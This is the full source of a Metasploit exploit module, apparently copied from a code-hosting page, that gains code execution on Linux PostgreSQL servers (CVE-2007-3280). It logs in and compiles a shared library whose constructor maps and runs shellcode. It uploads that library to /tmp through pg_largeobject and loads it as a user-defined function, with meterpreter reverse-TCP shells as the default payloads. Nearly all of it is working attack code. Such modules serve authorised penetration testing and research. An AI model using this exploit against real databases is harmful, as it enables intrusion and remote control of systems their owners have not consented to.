Path: blob/master/modules/exploits/linux/postgres/postgres_payload.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Postgres9include Msf::Auxiliary::Report10include Msf::OptionalSession::PostgreSQL1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'PostgreSQL for Linux Payload Execution',17'Description' => %q{18On some default Linux installations of PostgreSQL, the19postgres service account may write to the /tmp directory, and20may source UDF Shared Libraries from there as well, allowing21execution of arbitrary code.2223This module compiles a Linux shared object file, uploads it to24the target host via the UPDATE pg_largeobject method of binary25injection, and creates a UDF (user defined function) from that26shared object. Because the payload is run as the shared object's27constructor, it does not need to conform to specific Postgres28API versions.29},30'Author' => [31'midnitesnake', # this Metasploit module32'egypt', # on-the-fly compiled .so technique33'todb', # original windows module this is based on34'lucipher' # updated module to work on Postgres 8.2+35],36'License' => MSF_LICENSE,37'References' => [38[ 'CVE', '2007-3280' ],39[ 'URL', 'https://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]40],41'Platform' => 'linux',42'Payload' => {43'Space' => 65535,44'DisableNops' => true45},46'Targets' => [47[48'Linux x86',49{50'Arch' => ARCH_X86,51'DefaultOptions' => {52'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'53}54}55],56[57'Linux x86_64',58{59'Arch' => ARCH_X64,60'DefaultOptions' => {61'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'62}63}64],65],66'DefaultTarget' => 0,67'DisclosureDate' => '2007-06-05',68'Notes' => {69'Stability' => [CRASH_SAFE],70'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],71'Reliability' => [REPEATABLE_SESSION]72}73)74)7576deregister_options('SQL', 'RETURN_ROWSET')77end7879def check80version = postgres_fingerprint8182if version[:auth]83return CheckCode::Appears84end8586CheckCode::Safe("Authentication failed. #{version[:preauth] || version[:unknown]}")87end8889def exploit90self.postgres_conn = session.client if session9192version = do_login(username, password, database)93case version94when :noauth95print_error 'Authentication failed'96return97when :noconn98print_error 'Connection failed'99return100else101print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")102end103104fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"105106unless postgres_upload_binary_data(payload_so(fname), fname)107fail_with(Failure::Unknown, 'Could not upload the UDF shared object file')108end109110print_status("Uploaded as #{fname}, should be cleaned up automatically")111begin112func_name = Rex::Text.rand_text_alpha(10)113postgres_query(114"create or replace function pg_temp.#{func_name}()" \115" returns void as '#{fname}','#{func_name}' language c strict immutable"116)117rescue RuntimeError => e118print_error("Failed to create UDF function: #{e.class}: #{e}")119end120postgres_logout if @postgres_conn && session.blank?121end122123# Authenticate to the postgres server.124#125# Returns the version from #postgres_fingerprint126def do_login(user = nil, pass = nil, database = nil)127password = pass || postgres_password128vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless postgres_conn129result = postgres_fingerprint(130db: database,131username: user,132password: password133)134if result[:auth]135report_service(136host: postgres_conn.peerhost,137port: postgres_conn.peerport,138name: 'postgres',139info: result.values.first140)141return result[:auth]142else143print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")144return :noauth145end146rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError147return :noconn148end149150def payload_so(filename)151shellcode = Rex::Text.to_hex(payload.encoded, '\\x')152# shellcode = "\\xcc"153154c = %^155int _exit(int);156int printf(const char*, ...);157int perror(const char*);158void *mmap(int, int, int, int, int, int);159void *memcpy(void *, const void *, int);160int mprotect(void *, int, int);161int fork();162int unlink(const char *pathname);163164#define MAP_PRIVATE 2165#define MAP_ANONYMOUS 32166#define PROT_READ 1167#define PROT_WRITE 2168#define PROT_EXEC 4169170#define PAGESIZE 0x1000171172typedef struct _Pg_magic_struct {173int len;174int version;175int funcmaxargs;176int indexmaxkeys;177int namedatalen;178int float4byval;179int float8byval;180} Pg_magic_struct;181182extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void);183184const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void)185{186static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1};187return &Pg_magic_data;188}189190char shellcode[] = "#{shellcode}";191192void run_payload(void) __attribute__((constructor));193194void run_payload(void)195{196int (*fp)();197fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);198199memcpy(fp, shellcode, sizeof(shellcode));200if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {201_exit(1);202}203if (!fork()) {204fp();205}206207unlink("#{filename}");208return;209}210211^212213cpu = case target_arch.first214when ARCH_X86 then Metasm::Ia32.new215when ARCH_X64 then Metasm::X86_64.new216end217payload_so = Metasm::ELF.compile_c(cpu, c, 'payload.c')218219payload_so.encode_string(:lib)220end221end222223224